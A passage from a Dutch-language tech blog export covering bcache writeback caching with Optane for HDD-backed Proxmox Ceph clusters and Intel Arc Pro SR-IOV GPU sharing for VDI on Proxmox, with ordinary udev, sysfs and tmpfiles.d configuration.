geregistreerd wordt — wat elke boot is. Dus ze horen in een udev-regel in plaats van een script dat iemand moet onthouden te draaien:\n# /etc/udev/rules.d/99-bcache.rules ACTION==\u0026#34;add|change\u0026#34;, SUBSYSTEM==\u0026#34;block\u0026#34;, KERNEL==\u0026#34;bcache*\u0026#34;, \\ ATTR{bcache/cache_mode}=\u0026#34;writeback\u0026#34;, \\ ATTR{bcache/sequential_cutoff}=\u0026#34;0\u0026#34;, \\ ATTR{bcache/congested_read_threshold_us}=\u0026#34;0\u0026#34;, \\ ATTR{bcache/writeback_rate}=\u0026#34;81920\u0026#34;, \\ ATTR{bcache/writeback_rate_minimum}=\u0026#34;20480\u0026#34;, \\ ATTR{bcache/writeback_percent}=\u0026#34;40\u0026#34; KERNEL==\u0026quot;bcache*\u0026quot; matcht elk bcache-apparaat op de node, dus één regel dekt alle paren. ACTION==\u0026quot;add|change\u0026quot; betekent dat het opnieuw wordt toegepast wanneer een apparaat verschijnt of opnieuw wordt gekoppeld, niet alleen bij boot.\nWat elke instelling doet, en waarom:\ncache_mode=writeback — het hele punt. In de standaard writethrough wordt een schrijfactie pas bevestigd wanneer die de HDD bereikt, dus de cache doet niets voor schrijflatency. In writeback bevestigt de Optane en haalt de spindel later in.\nsequential_cutoff=0 — standaard detecteert bcache sequentiële I/O en routeert die zodra hij 4 MB passeert regelrecht langs de cache, op de theorie dat de backing-schijf sequentieel prima aankan. Nul schakelt die bypass uit zodat alles gecachet wordt. Op een hyper-converged node is dat de juiste keuze: wat sequentieel lijkt voor één bcache-apparaat houdt op sequentieel te zijn bij de plaat zodra meerdere OSD\u0026rsquo;s verweven raken, en je wilt elke schrijfactie ongeacht op Optane-snelheid bevestigd zien. Het draagt echter één verplichting — zonder bypass wordt de eigen sequentiële schrijfbandbreedte van het cache-apparaat het plafond voor de hele OSD, wat is waarom de 16 GB-modules gediskwalificeerd zijn.\ncongested_read_threshold_us=0 — bcache houdt zijn eigen cache-apparaat-latency in de gaten en begint de cache te bypassen wanneer het oordeelt dat die verstopt is, met een standaard van 2000 µs voor reads. Optane raakt niet verstopt zoals NAND doet, dus dit is bcache dat een apparaat betwijfelt dat het verkeerd heeft gemeten. Nul schakelt het volgen uit.\nwriteback_rate=81920 en writeback_rate_minimum=20480 — het achtergrond-flushtempo, in sectoren per seconde, dus ruwweg 40 MB/s-doel met een 10 MB/s-ondergrens. Een PD-controller beweegt het werkelijke tempo ertussen. Het doel is gezet nabij wat een spindel sequentieel kan absorberen, en de ondergrens stopt de controller ervan flush richting nul te throttelen en vuile data onbepaald te laten opstapelen. Beide zijn startpunten in plaats van constanten — hoe ze te veranderen staat hieronder.\nwriteback_percent=40 — hoeveel van de cache bcache vuil zal laten zitten voordat het hard terugduwt, tegen een standaard van 10. Veertig geeft je een veel diepere burst-buffer. Het betekent ook dat tot 40% van die Optane de enige kopie van data in het systeem houdt, wat de afweging is, en het is de reden dat de één-per-spindel-indeling ertoe doet. Dit is de waarde die het meest de moeite waard is te herzien zodra je een echte workload hebt bekeken.\nDe Vul- en Flushwaarden Later Veranderen De 40% en de twee tempo\u0026rsquo;s hierboven zijn de waarden die hier draaien, geen universele constanten. Ze zijn het eerste dat je zult willen verplaatsen zodra je een echte workload hebt bekeken, dus het is de moeite waard te weten dat er twee plekken zijn om ze te veranderen, die twee verschillende dingen doen.\nsysfs verandert het nu. De udev-regel verandert het volgende boot. Je wilt beide, en in die volgorde.\nVerander het live, op één apparaat:\necho 30 \u0026gt; /sys/block/bcache0/bcache/writeback_percent Of over elk paar op de node:\nfor d in /sys/block/bcache*/bcache; do echo 30 \u0026gt; \u0026#34;$d/writeback_percent\u0026#34; done Het flushtempo werkt op dezelfde manier. Beide waarden zijn in sectoren per seconde, dus deze halveren het doel en de ondergrens:\nfor d in /sys/block/bcache*/bcache; do echo 40960 \u0026gt; \u0026#34;$d/writeback_rate\u0026#34; echo 10240 \u0026gt; \u0026#34;$d/writeback_rate_minimum\u0026#34; done Dat treedt onmiddellijk in werking en overleeft precies tot het apparaat opnieuw geregistreerd wordt. De kerneldocumentatie is expliciet dat deze instellingen \u0026ldquo;do not persist across reboot\u0026rdquo; — wat de hele reden is dat de udev-regel bestaat.\nZodra je tevreden bent met een waarde, bewerk de regel en herlaad hem zonder te rebooten:\nudevadm control --reload udevadm trigger --subsystem-match=block --action=change Dit is waar ACTION==\u0026quot;add|change\u0026quot; zijn brood verdient. De trigger vuurt een change-event op apparaten die al aanwezig zijn, dus de regel wordt opnieuw toegepast op een draaiende node in plaats van te wachten op de volgende boot. Had de regel alleen op add gematcht, dan zou dat commando niets doen.\nLees dan de waarden terug, want een typefout in een udev-regel faalt stil:\ngrep . /sys/block/bcache*/bcache/writeback_percent Weten Welke Kant Op Te Bewegen Stel dit niet af vanuit eerste principes — bcache legt bloot wat je nodig hebt onder dezelfde sysfs-directory.\ndirty_data is degene om in de gaten te houden: hoeveel data er momenteel in de cache zit en nergens anders. De docs beschrijven het als \u0026ldquo;continuously updated unlike the cache set\u0026rsquo;s version, but may be slightly off\u0026rdquo;, wat prima is voor dit doel. Sample het door een normale werkdag en een backup-venster.\ncache_hits, cache_misses en cache_hit_ratio vertellen je of de cache gebruikt wordt, met de kanttekening dat \u0026ldquo;a partial hit is counted as a miss\u0026rdquo;. bypassed telt IO die de cache volledig voorbijging — met sequential_cutoff=0 zou dat bijna vlak moeten zijn, dus een groeiend getal betekent dat iets er nog steeds omheen routeert.\nAl die komen als lopende totalen plus versies die vervallen over de afgelopen dag, uur en vijf minuten, wat de kort-venster-versies veel nuttiger maakt voor het opsporen van een probleem dan het levenslange cijfer.\nVan daaruit:\nSymptoom Knop Richting Bursts stallen — schrijfacties raken spindellatency midden in een burst writeback_percent omhoog, voor een diepere buffer Meer data blootgesteld op de cache dan waar je comfortabel mee bent writeback_percent omlaag dirty_data vastgepind op het plafond tijdens gewoon werk writeback_rate omhoog — de buffer is niet het probleem, drainage is Achtergrond-flush concurreert met gast-reads op de spindel writeback_rate omlaag dirty_data kruipt over dagen in plaats van uren omhoog writeback_rate_minimum omhoog, zodat de controller niet tot een kruipgang kan throttelen Als dirty_data vastgepind op het plafond zit wat je ook doet, is geen van beide knoppen het antwoord — het cluster schrijft sneller dan de spindels kunnen absorberen, en de eerlijke fixes zijn meer spindels of minder schrijfacties.\nEén bestand om met rust te laten: writeback_running. Het uitzetten stopt writeback volledig, en de documentatie zegt dat het \u0026ldquo;only meant for benchmarking\u0026rdquo; is. Op een productie-OSD betekent het dat vuile data zich opstapelt tot de cache vol is en nooit draineert.\nWat Je Opgeeft De meeste beschrijvingen van dit ontwerp stoppen bij het goede nieuws. Dit zijn de delen die je werkelijk pijn zullen doen, en elk ervan is de moeite waard te kennen voordat je bouwt in plaats van erna.\nDe twee toegevoegde apparaten falen heel verschillend De gedeelde DB/WAL-NVMe sterft block.db voor osd.0–2 weg osd.0 verloren osd.1 verloren osd.2 verloren Drie OSD's, één gebeurtenis. Een gecorreleerd falen over de node, wat precies is waar replicatie je niet tegen beschermt. Kies de ratio voor de rebuild die je bereid bent uit te zitten, niet de prijs per OSD. Eén gekoppelde Optane sterft Optane voor osd.0 weg Optane voor osd.1 prima Optane voor osd.2 prima osd.0 verloren osd.1 bedient osd.2 bedient Eén OSD, en Ceph doet dit elke dag. De blast radius is één schijf waarde aan data, wat het falen is dat een gerepliceerde pool bestaat om te absorberen. Dit is het hele argument voor het kopen van meerdere kleine apparaten in plaats van één grote. Dezelfde klasse verlies aan beide kanten — elk apparaat houdt toestand die nergens anders bestaat, dus de OSD wordt vernietigd in plaats van gestopt en moet opnieuw aangemaakt en gebackfilld worden. Alleen het aantal verschilt, en dat is wat de één-per-spindel-koppeling koopt. Beide toegevoegde apparaten houden toestand die nergens anders bestaat, dus een van beide verliezen vernietigt de OSD\u0026rsquo;s die ervan afhangen. Het verschil is alleen hoeveel dat er zijn: de gedeelde DB/WAL-NVMe haalt elke OSD erachter neer, terwijl een één-op-één gekoppelde Optane precies één neerhaalt. Dat is wat de extra apparaten kopen. Een van beide flash-apparaten verliezen vernietigt de OSD. Niet stopt hem — vernietigt hem. Beide apparaten houden toestand die nergens anders bestaat: block.db houdt de RocksDB die van block zin maakt, en een writeback-cache houdt elke schrijfactie die nog niet geflusht is. De kerneldocumentatie hedget niet over de tweede: \u0026ldquo;In writeback mode you\u0026rsquo;ll lose data if something happens to your SSD.\u0026rdquo; Hoe dan ook komt de OSD niet terug, hij wordt opnieuw aangemaakt en gebackfilld.\nDus dit zijn dezelfde klasse risico, en het is de moeite waard daar duidelijk over te zijn in plaats van de cache als de enge te behandelen. De Optane is geen gevaarlijker apparaat dan de NVMe. Twee dingen scheiden ze, en geen is ernst per OSD.\nHet eerste is blast radius, en het is de hele rechtvaardiging voor de koppeling. Eén Optane per spindel betekent dat een cache-falen één OSD kost — een enkele-schijf-verlies, wat precies de gebeurtenis is die een gerepliceerde pool bestaat om te absorberen, en die Ceph afhandelt zonder dat iemand gepiept wordt. Het DB/WAL-apparaat is gedeeld, dus het verliezen kost elke OSD erachter tegelijk, wat een gecorreleerd falen is waar replicatie je niet tegen beschermt. Hetzelfde falen, één apparaat tegen vijf.\nHet tweede is hoe het falen zich presenteert, en dit is een operationele val. Wanneer een cache sterft in writeback stopt het backing-apparaat en retourneert I/O-fouten, wat prima is — Ceph markeert de OSD down en gaat door. Het slechte geval is een reboot waar het backing-apparaat opkomt zonder zijn cache gekoppeld. Het ziet er dan uit als een mountbaar filesystem dat simpelweg elke vuile schrijfactie mist, wat corrupt is in plaats van slechts verouderd. Een ontbrekende block.db faalt luid en de OSD weigert te starten; een ontbrekende cache kan stil falen en je het wrak laten mounten. Behandel een bcache-backing-apparaat als onmountbaar zonder zijn cache, en laat nooit iets het behulpzaam voor je mounten.\nbcache garandeert power-safe writeback niet vanzelf. Dit is waar de HDD-schrijfcache ophoudt een optimalisatie te zijn en een vereiste wordt — zet hem uit, en draai een kernel recent genoeg om de FUA-afhandeling te hebben, zodat synchrone schrijfacties door de stack heen gehonoreerd worden in plaats van ergens in het midden vroeg bevestigd. Een cache-apparaat zonder power-loss protection verergert het probleem, want het kan data verliezen die het al als veilig heeft gerapporteerd.\nWat de DB/WAL-ratio het getal maakt dat ertoe doet. Ceph staat 4–5 HDD-OSD\u0026rsquo;s per SATA-SSD toe en niet meer dan 15 per NVMe, en waarschuwt over \u0026ldquo;balancing the risk of reducing costs by placing too many responsibilities into too few failure domains.\u0026rdquo; Anders dan de cache-tier is er geen koppeling beschikbaar om deze in te perken — delen is het punt van het apparaat.\nOp schijven van 20 TB is dat het hele gesprek, want de rebuild is enorm. Eén gefaalde OSD is 20 TB om te backfillen; bij de 150–250 MB/s die een spindel volhoudt, gethrottled zodat recovery de gasten niet verhongert, kijk je naar ruim een dag gedegradeerde werking voor één schijf. Verlies een gedeeld DB-apparaat dat er vijf draagt en er is 100 TB te verplaatsen.\nDus de ratio is niet echt een kostenbeslissing. Het is een beslissing over hoe lang je bereid bent gedegradeerd te draaien, en hoeveel rebuild-verkeer het cluster kan dragen terwijl het nog VM\u0026rsquo;s bedient.\nHet ontwerp hangt af van een apparaat dat niemand meer maakt. Dit is degene zonder technisch antwoord. Optane is het juiste onderdeel voor de cache-positie en niets huidigs vervangt het — NAND kan het schrijfvolume niet aan, en het CXL-gebaseerde geheugen waarnaar Intel pivoteerde is geen drop-in voor een block-cache. Dus de mitigatie is commercieel in plaats van slim, het is hierboven behandeld, en de eerlijke samenvatting is dat deze architectuur een einddatum ergens in de toekomst heeft.\nNiets hiervan maakt een HDD-cluster een all-flash-cluster. Aanhoudend random schrijfverkeer dat het flushtempo overtreft zal de cache vullen, en zodra hij vol is schrijf je op spindelsnelheid met extra lagen in het pad. Dit ontwerp absorbeert bursts en verwijdert metadata-overhead. Het fabriceert geen IOPS.\nWaar Het Op Neerkomt Drie tiers, elk die het ene ding doet waar hij het beste in is — en alle drie zijn vereist:\nOptane absorbeert random schrijf-bursts, één apparaat per spindel. Het moet Optane zijn, want elke schrijfactie kruist het en NAND-endurance is verkeerd voor die positie Een snelle enterprise-NVMe houdt RocksDB en de WAL, gedeeld over een handvol OSD\u0026rsquo;s tegen een ratio die je bewust koos in plaats van accepteerde HDD\u0026rsquo;s leveren bulkcapaciteit, bevrijd van zowel metadata als bursts Het punt is niet doen alsof draaiende schijven flash zijn. Het is stoppen ze het werk te sturen waar ze het slechtst in zijn, zodat de capaciteit die je werkelijk betaalde bruikbaar is.\nDat is de hele truc, en er is niks slims aan. Zet elke klus op het apparaat dat er goed in is, en stop met twee keer betalen voor die welke dat niet zijn.\nVoor een hyper-converged Proxmox-cluster dat multi-terabyte-capaciteit nodig heeft zonder all-flash-prijzen, is dat een verdedigbaar ontwerp. Goed gebouwd voelt het veel sneller dan kale HDD\u0026rsquo;s, het faalt op manieren die Ceph gebouwd is om af te handelen, en het geld gaat waar het de uitkomst verandert.\nTwee gerelateerde dingen de moeite waard hiernaast te lezen: het sectorgrootte-werk in 4Kn, 512e en 512n doet veel toe voor wat de spindels doen met de schrijfacties die ze bereiken, en als je dit op direct-attached nodes bouwt, de switchloze mesh behandelt de netwerkkant van een klein Ceph-cluster.\nReferenties Ceph — Hardware Recommendations — de IOPS-per-TB-waarschuwing op grote HDD\u0026rsquo;s, \u0026ldquo;HDD OSDs may see a significant write latency improvement by offloading WAL+DB onto an SSD\u0026rdquo;, de 4–5 HDD per SATA-SSD- en ≤15 per NVMe-ratio\u0026rsquo;s, power-loss protection op enterprise-SSD\u0026rsquo;s, het uitzetten van de HDD-schrijfcache, en geen RoC-HBA nodig hebben Ceph — BlueStore Configuration Reference — block.db op 1–2% van block voor RBD en ten minste 4% voor RGW, de 2,5% algemene aanbeveling, spillover terug op het primaire apparaat, de RocksDB-niveaugroottes achter de 3/30/300 GB-stappen, en de WAL die impliciet met de DB gecoloceerd wordt Linux-kernel — bcache admin guide — de cache-modi, sequential_cutoff en zijn 4 MB-standaard, de 2000 µs read-congestie-standaard, writeback_rate in sectoren per seconde, de writeback_percent-PD-controller, de dirty_data / cache_hit_ratio / bypassed-tellers en hun vervallende dag-, uur- en vijf-minuten-versies, de waarschuwing dat writeback_running \u0026ldquo;only meant for benchmarking\u0026rdquo; is, de uitspraak dat deze instellingen \u0026ldquo;do not persist across reboot\u0026rdquo;, en \u0026ldquo;in writeback mode you\u0026rsquo;ll lose data if something happens to your SSD\u0026rdquo; Intel — Optane Memory M10 32 GB specificaties — 365 TBW, 240.000 random read en 65.000 random write IOPS bij 4K over een span van 8 GB, 1200/290 MB/s sequentieel, PCIe 3.0 x2 Intel — Optane Memory M10 16 GB specificaties — de 150 MB/s sequentiële write en 35.000 random write IOPS die dit onderdeel onder een draaiende schijf plaatsen op sequentiële doorvoer PC Perspective — Optane SSD DC P4800X performance — de 550K random 4K read IOPS van het 375 GB-onderdeel, 2400/2000 MB/s sequentieel, sub-10 µs typische latency, en 12,3 PBW bij 30 DWPD ServeTheHome — Optane DC P4801X 100GB M.2 review — de kleine-capaciteit datacenter-M.2-onderdelen, voor de capaciteitsladder StorageReview — Intel Optane SSD P5800X — de 100 DWPD-rating, de 30 DWPD van de P4800X, en de vergelijking tegen NAND-enterprise-schijven die rond 10 DWPD uitkomen voor write-intensive onderdelen en 3 of minder voor mixed-use Bcache — ArchWiki — de praktische faalmodi, inclusief een backing-apparaat dat na een reboot zonder zijn cache opkomt, en de power-safety-vereisten rond de HDD-schrijfcache en FUA Intel — Optane business update — de afwikkeling, en wat het betekent voor garantie en support op apparaten die al in dienst zijn, wat de positie is waar alles wat je op de recycler-markt koopt al in zit ","permalink":"https://blogs.damiendye.uk/nl/proxmox/hdd-backed-ceph-bcache-optane/","summary":"Flash-prijzen hebben all-NVMe moeilijk te rechtvaardigen gemaakt, en enterprise-HDD\u0026rsquo;s zijn een tweede blik waard. Acceptabele latency eruit halen op hyper-converged Proxmox-Ceph betekent RocksDB van de spindel verplaatsen, elke schijf koppelen aan zijn eigen Optane via bcache — specifiek Optane, want NAND-endurance is verkeerd voor die klus — en eerlijk zijn over de faalmodi die het je koopt.","title":"HDD-Gebaseerde Proxmox-Ceph-Clusters Snel Maken — NVMe-Metadata, Eén Optane Per Spindel, en Wat Het Je Kost"},{"content":"Waarom Dit Tot Nu Toe Duur Was VDI — Virtual Desktop Infrastructure — levert een volledige desktop vanuit een datacenter of cloud in plaats van vanaf het apparaat voor je. Een gebruiker meldt zich aan vanaf een laptop, een thin client of zijn eigen machine, en krijgt een vertrouwde Windows- of Linux-desktop waarvan de apps, bestanden en verwerking allemaal centraal gebeuren.\nDe aantrekkingskracht voor een IT-team is dat patchen, toegangscontrole en gegevensbescherming allemaal op één plek gebeuren, en mensen dezelfde desktop overal kunnen bereiken.\nHet obstakel is nooit de hypervisor geweest. Het is de GPU geweest.\nEén fysieke GPU delen tussen meerdere desktops is NVIDIA\u0026rsquo;s terrein geweest, en NVIDIA rekent voor de vGPU-software die het opdelen doet. Die licentie is waarom VDI met hardware-versnelde graphics grotendeels het domein is geweest van bedrijven met bedrijfsbudgetten. Een jaarlijkse vergoeding betalen om iets in te schakelen dat het silicium al kan is een moeilijk ding om enthousiast over te zijn.\nIntel veranderde de rekensom met de Arc Pro-lijn. Deze kaarten ondersteunen hardware-opdeling via standaard-SR-IOV, wat een PCIe-feature is in plaats van een product. Er is dan ook geen licentieserver, geen abonnement, en geen aparte vGPU-software om te kopen.\nDus ik bemachtigde een Intel Arc Pro B50 om te zien hoe schoon die met Proxmox samengaat. Het korte antwoord: het mechanisme werkt precies zoals geadverteerd, en toen kwam de firmware in de weg. Beide helften staan hieronder.\nHoe één kaart er meerdere wordt: physical function op de host, virtual functions naar gasten Intel Arc Pro Bxx 03:00.0 — physical function host driver: xe 03:00.1 vfio-pci 03:00.2 vfio-pci 03:00.3 aangemaakt waar ondersteund 03:00.4 aangemaakt waar ondersteund Windows desktop 1 hardware-versneld Windows desktop 2 hardware-versneld Windows desktop 3 hardware-versneld Windows desktop 4 hardware-versneld Er is op geen enkel punt een vGPU-licentie bij betrokken. SR-IOV is een PCIe-capability die de kaart ofwel adverteert of niet — deze adverteert het op\u0026#160;[320]. Hoeveel functions hij zal aanmaken wordt gezet in firmware, want elk krijgt een vaste plak van het geheugen van de kaart: een grotere plak betekent minder functions. Een 16 GB-B50 geeft er twee met 8 GB elk; de 24 en 32 GB-kaarten rapporteren zeven. De physical function blijft bij de xe-driver van de host. Elke virtual function is een PCIe-apparaat op zichzelf, gebonden aan vfio-pci en overhandigd aan een gast — dezelfde passthrough-machinerie als een hele kaart, alleen meerdere keren over. Het gestippelde paar hangt af van de kaart: hoeveel functions elk zal aanmaken staat verderop. De Olifant: Je Hebt Eerst Windows Nodig Voordat iets hiervan werkt, wil de kaart zijn firmware bijgewerkt. Intel levert die update binnen de Windows-driver-installer.\nWat lastig is, want de reden dat je de kaart kocht is om hem onder Proxmox te draaien.\nEr is een weg eromheen die niets dan Proxmox nodig heeft: bouw een Windows-VM, geef de hele kaart eraan door, laat Windows de firmware updaten, en geef de kaart dan terug aan de host. Het is een bootstrap-lus, en het is de moeite waard erover te weten voordat je de build plant in plaats van erna.\nDe Windows-first-bootstrap-lus breken met een tijdelijke VM De haak: SR-IOV heeft actuele firmware nodig, en de firmware komt in een Windows-driver-installer. 1 Kaart in de host lspci → 03:00.0 2 Hele kaart → Windows-VM hostpci0, Q35 + OVMF 3 Installeer Intel-driver firmware update ermee 4 Herstart host kaart herinitialiseert kaart teruggegeven aan Proxmox 5 SR-IOV aanwezig lspci -v → [320] 6 tmpfiles.d bij boot numvfs, unbind, bind 7 VF's naar gasten zoveel als de firmware toestaat Stappen 2 en 3 bestaan alleen om firmware te updaten. De Windows-VM is tijdelijk — zodra de kaart terug is op de host speelt hij geen verdere rol, en niets aan de voltooide opzet hangt af van Windows dat op de hypervisor draait. De kaart kan geen SR-IOV doen totdat zijn firmware actueel is, en de firmware-update komt aan als een Windows-driver. Eén tijdelijke Windows-VM met de hele kaart aangesloten breekt de lus. De Kaart Vinden Op de Proxmox-host, lspci om hem te lokaliseren:\nlspci Hier is hij op 03:00.0, gerapporteerd als Battlemage G21, het silicium achter de Arc Pro B50. Noteer het adres. Je hebt het meerdere keren nodig, en er is een aparte audiofunctie op 04:00.0 die ermee meekomt.\nDe Hele Kaart Doorgeven Aan Een Windows-VM Voeg de kaart toe aan een Windows-VM als raw PCI-apparaat. In de hardware van de VM is dat een PCI Device-entry: 0000:03:00 met pcie=1:\nDe moeite waard op te merken wat die VM verder is, want niets ervan is toevallig: Q35-machinetype, OVMF-firmware, VirtIO SCSI single, en een TPM voor Windows 11. Q35 in het bijzonder is hiervoor niet optioneel. Een doorgegeven GPU op i440fx verschijnt als legacy-PCI-apparaat, wat de verkeerde vorm is voor een moderne graphics-driver. Dat wordt behandeld in Gebruik Altijd Q35, Niet i440fx.\nBoot de VM en controleer dat Windows de kaart ziet:\nHij verschijnt als een Microsoft Basic Display Adapter omdat er nog geen driver geïnstalleerd is. Dat is de verwachte toestand, en het is genoeg. Windows heeft de hardware gevonden.\nDe Firmware Updaten Haal de huidige driver van Intels Arc Pro B50-downloadpagina. Op het moment van schrijven was dat versie 32.0.101.8306 (Q4.25), voor Windows 11 en Windows 10 22H2:\nInstalleer hem, en laat de firmware-update draaien als onderdeel van het proces in plaats van vroeg af te breken. Die firmwarestap is de hele reden voor deze omweg.\nWanneer hij klaar is, geef de kaart terug aan de host en herstart, zodat hij volledig herinitialiseert onder Proxmox.\nBevestigen Dat SR-IOV Er Is Vraag de kaart nu wat hij kan:\nlspci -v De regel die ertoe doet:\nCapabilities: [320] Single Root I/O Virtualization (SR-IOV) Dat is het hele voorstel in één regel lspci-uitvoer, zonder licentie eraan.\nDrie andere dingen in die uitvoer zijn de moeite waard te lezen terwijl je er toch bent:\nKernel driver in use: xe — de kaart draait op Intels nieuwere xe-driver in plaats van i915, wat de virtual functions zal aanmaken. [420] Physical Resizable BAR en [220] Virtual Resizable BAR — de kaart ondersteunt resizable BARs, en zijn virtual functions ook. De moeite waard te weten wat dat je kost in adresruimte als je er meerdere doorgeeft: zie PCIe Resizable BAR en Moderne GPU\u0026rsquo;s. IOMMU group 13 — de kaart zit in een groep op zichzelf, wat is wat je wilt voor schone passthrough. Waarom dat uitmaakt staat in het IOMMU-tax-artikel. De Virtual Functions Bij Boot Aanmaken Virtual functions zijn niet persistent. Erom vragen is een write naar sysfs, dus het moet bij elke boot gebeuren.\ntmpfiles.d is een nette manier om dat declaratief te doen, in plaats van een script aan een unit-file te schroeven:\nHet bestand doet drie klussen op volgorde.\nMaak de virtual functions aan, door het aantal naar de sriov_numvfs van de physical function te schrijven:\nw /sys/devices/pci0000:00/0000:00:01.1/0000:01:00.0/0000:02:01.0/0000:03:00.0/sriov_numvfs - - - - 4 Ontkoppel elke nieuwe function van xe, want de host-driver claimt ze zodra ze verschijnen en een gast kan geen apparaat hebben dat de host vasthoudt:\nw /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.1 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.2 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.3 w /sys/bus/pci/drivers/xe/unbind - - - - 0000:03:00.4 Bind ze aan vfio-pci, wat is wat ze beschikbaar maakt om door te geven:\nw /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.1 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.2 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.3 w /sys/bus/pci/drivers/vfio-pci/bind - - - - 0000:03:00.4 Let op de adressen: de physical function is 03:00.0 en de virtual functions komen op als .1 tot en met .4.\nEén detail over w dat de volgorde verklaart, en dat je zal bijten als je het fout doet. systemd documenteert het als: \u0026ldquo;Write the argument parameter to a file, if the file exists.\u0026rdquo; sriov_numvfs bestaat pas zodra een driver zich aan de physical function heeft gebonden, en de virtual-function-paden bestaan pas zodra die write heeft plaatsgevonden. Dus de volgorde in het bestand is niet stilistisch. Elke regel hangt ervan af dat de vorige effect heeft gehad.\nWaarom Twee, en Niet Vier Driver 32.0.101.8306 — degene hierboven geïnstalleerd — draagt graphics-firmware BMG__21,1162, en dat is de release waarin Intel voor het eerst officieel SR-IOV op Arc Pro inschakelde. Intels vermelde standaard voor de B50 in die release is twee virtual functions, elk met een VF Local Memory BAR van 8 GB.\nWat het getal rekenkunde maakt in plaats van beleid. De B50 heeft 16 GB. Bij 8 GB per virtual function is twee alles wat past.\nEr is een kanttekening die de moeite waard is te kennen als je op zoek gaat naar een workaround. Voordat officiële ondersteuning bestond, draaiden sommige mensen oudere firmware die 12 virtual functions op een B50 blootlegde, en teruggaan naar driver 32.0.101.6979 herstelt dat aantal. Die 12 deelden dezelfde 16 GB, dus elk kreeg een fractie van het geheugen dat de mijne krijgen. Intels standpunt is dat twee bewust gekozen werd om elke function genoeg compute, capaciteit en bandbreedte te geven om voorspelbaar te gedragen.\nDus de limiet kan verplaatst worden, maar niet door jou. Het maximale VF-aantal en de VF Local Memory BAR-grootte leven in de IFWI, er is geen publiek gereedschap om beide te veranderen, en het ondersteunde antwoord op een huidige stack is twee.\nHoeveel Desktops Elke Kaart Je Geeft De B50 is de kleine kaart in de familie, en zijn twee functions zijn het dieptepunt van de familie. Als het aantal zitplaatsen is waar je om geeft, koop dan verder in het assortiment.\nDe hele Battlemage Arc Pro-lijn doet SR-IOV. Wat verschilt is hoeveel functions de firmware zal uitsnijden, en dat volgt het geheugen:\nKaart Geheugen VF\u0026rsquo;s op de huidige ondersteunde stack Elders gezien Arc Pro B50 16 GB 2, met 8 GB VF BAR elk — Intels gedocumenteerde standaard 12 op pre-officiële firmware, via driver 32.0.101.6979 Arc Pro B60 24 GB 7 gerapporteerd 24 op een vroege ASRock-firmware, teruggebracht tot 7 door een latere Arc Pro B60 Dual 2 × 24 GB 7 per GPU — twee GPU\u0026rsquo;s, dus 14 uit één slot zoals hierboven; de twee helften zijn onafhankelijk Arc Pro B65 32 GB geen gepubliceerd aantal gevonden — Arc Pro B70 32 GB 7 gerapporteerd, op firmware 8517 4 op eerdere firmware Alleen de B50-rij is door Intel gedocumenteerd. De B60- en B70-getallen zijn wat mensen rapporteren uit lspci, en ze zijn meer dan eens verschoven. De B60 in het bijzonder ging van 24 naar 7 in een firmware-update, wat hetzelfde soort versmalling is als de B50 zag. Niemand lijkt überhaupt een VF-aantal voor de B65 te hebben gepubliceerd, dus behandel die rij als onbekend in plaats van als nul.\nTwee dingen volgen uit die tabel, en beide doen er meer toe dan enig enkel getal erin.\nHet VF-aantal is een geheugendeling, geen die-feature. Intels regel is dat een grotere VF Local Memory BAR minder functions betekent. Daarom geeft de 16 GB-kaart twee en de 32 GB-kaarten zeven: niets aan de shaders van de GPU beslist het.\nControleer de kaart die je op het punt staat te kopen, niet de familie. SR-IOV-aanwezigheid heeft gevarieerd tussen bordvendors op dezelfde chip — Sparkle\u0026rsquo;s B60 Blower werd aanvankelijk geleverd zonder de capability überhaupt zichtbaar en kreeg die pas na een igsc-firmware-update. Vraag om lspci -v-uitvoer van het exacte model, of begroot een firmware-update voordat je hierop rekent.\nDe Dual B60 Is Twee Kaarten Die Eén Beugel Dragen Maxsuns Arc Pro B60 Dual 48G Turbo is de interessante voor het aantal zitplaatsen, en het ding om te begrijpen is dat de 48 GB geen pool is.\nHet zijn twee B60-GPU\u0026rsquo;s — twee BMG-G21-dies — op één bord, met 24 GB GDDR6 aan elk bedraad, en geen PCIe-bridge-chip ertussen. Beide dies hangen rechtstreeks aan de x16-gouden vingers op PCIe 5.0 x8 elk.\nWat betekent dat de host het slot voor je moet splitsen. De kaart heeft het primaire x16-slot gebifurkeerd naar x8/x8 nodig, en de meeste consumentenborden schakelen dat niet standaard in. Het is een firmware-instelling waar je naar op zoek gaat, in dezelfde categorie als de IOMMU- en ACS-instellingen die iets hiervan nodig heeft.\nKrijg dat goed en het besturingssysteem ziet twee aparte GPU\u0026rsquo;s, elk met zijn eigen physical function en zijn eigen SR-IOV-capability. Dus je krijgt twee stel virtual functions uit één slot — 14 zitplaatsen als elke die zich gedraagt als een enkele B60 — en het tmpfiles.d-bestand hierboven verdubbelt, één sriov_numvfs-write per die.\nKrijg het fout en je ziet één GPU en de helft van de kaart is onzichtbaar.\nDe moeite waard duidelijk te zijn over wat de 48 GB niet is: een gast die aan een virtual function op de eerste die hangt, kan het geheugen van de tweede die niet bereiken. Dit zijn twee 24 GB-kaarten in één fysieke ruimte, wat precies is wat je wilt voor VDI-zitplaatsen en precies wat je niet wilt voor één groot model.\nDus: als twee zitplaatsen genoeg zijn, is de B50 een 70 W-kaart die het doet. Als je er zeven wilt, plan rond een B70. Als je er veertien wilt en een bord hebt dat bifurkeert, brengt de dual B60 je er in één slot.\nKun Je AI Draaien Op Een Virtual Function? Kort antwoord: behandel het als niet-ondersteund. Langer antwoord, want de reden doet ertoe en het is niet degene die je zou raden.\nDeze worden op de markt gebracht als AI-kaarten en ze doen niet alsof. De 128 XMX-engines van de B50 zijn beoordeeld op 170 piek-TOPS, de B70 op 367, en Intels softwareverhaal is echt — vLLM serveert modellen van 8B tot 120B op Arc Pro B-serie, en IPEX-LLM en llama.cpp\u0026rsquo;s SYCL-backend draaien er allebei op.\nMaar kijk hoe elk van die resultaten wordt geproduceerd. vLLM\u0026rsquo;s eigen Arc Pro-cijfers komen van een Docker-container op bare metal, op systemen met vier en acht hele B60-kaarten die tensor parallelism doen. Intels post noemt SR-IOV of virtual functions geen enkele keer.\nDat patroon houdt overal stand waar ik keek. Intel beperkt de SR-IOV-use-cases tot gevirtualiseerde remote desktop, gast-OS-graphics-versnelling, en media-encode en -decode. Compute staat niet op die lijst, en ik kon geen enkel 